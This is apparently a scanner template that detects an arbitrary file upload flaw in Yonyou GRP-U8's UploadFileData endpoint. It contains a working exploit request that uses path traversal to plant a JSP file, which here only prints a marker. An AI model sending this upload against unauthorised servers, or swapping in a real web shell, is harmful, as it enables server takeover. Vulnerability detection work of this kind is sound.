yonyou-grp-u8-upload-file-data: 用友 GRP-U8 UploadFileData 任意文件上传漏洞

id: yonyou-grp-u8-upload-file-data

info:
  name: 用友 GRP-U8 UploadFileData 任意文件上传漏洞
  author: zan8in
  severity: critical
  verified: true
  description: |
    用友 GRP-U8 UploadFileData接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限
    app="用友-GRP-U8"
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20GRP-U8%20UploadFileData%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html

set:
  rfilename: randomLowercase(4)
  md5str: md5(rfilename)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename={{rfilename}}.jsp&filename=1.jpg
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"myFile\";filename=\"test.jpg\"\r\n\r\n<%out.print(\"{{md5str}}\");%>\r\n------WebKitFormBoundary{{rboundary}}--"
    expression: response.status == 200 && response.body.bcontains(b'<script>') && response.body.bcontains(b'parent.showSucceedMsg();')
  r1:
    request:
      method: GET
      path: /R9iPortal/{{rfilename}}.jsp
    expression: response.status == 200  && response.body.bcontains(bytes(md5str))
expression: r0() && r1()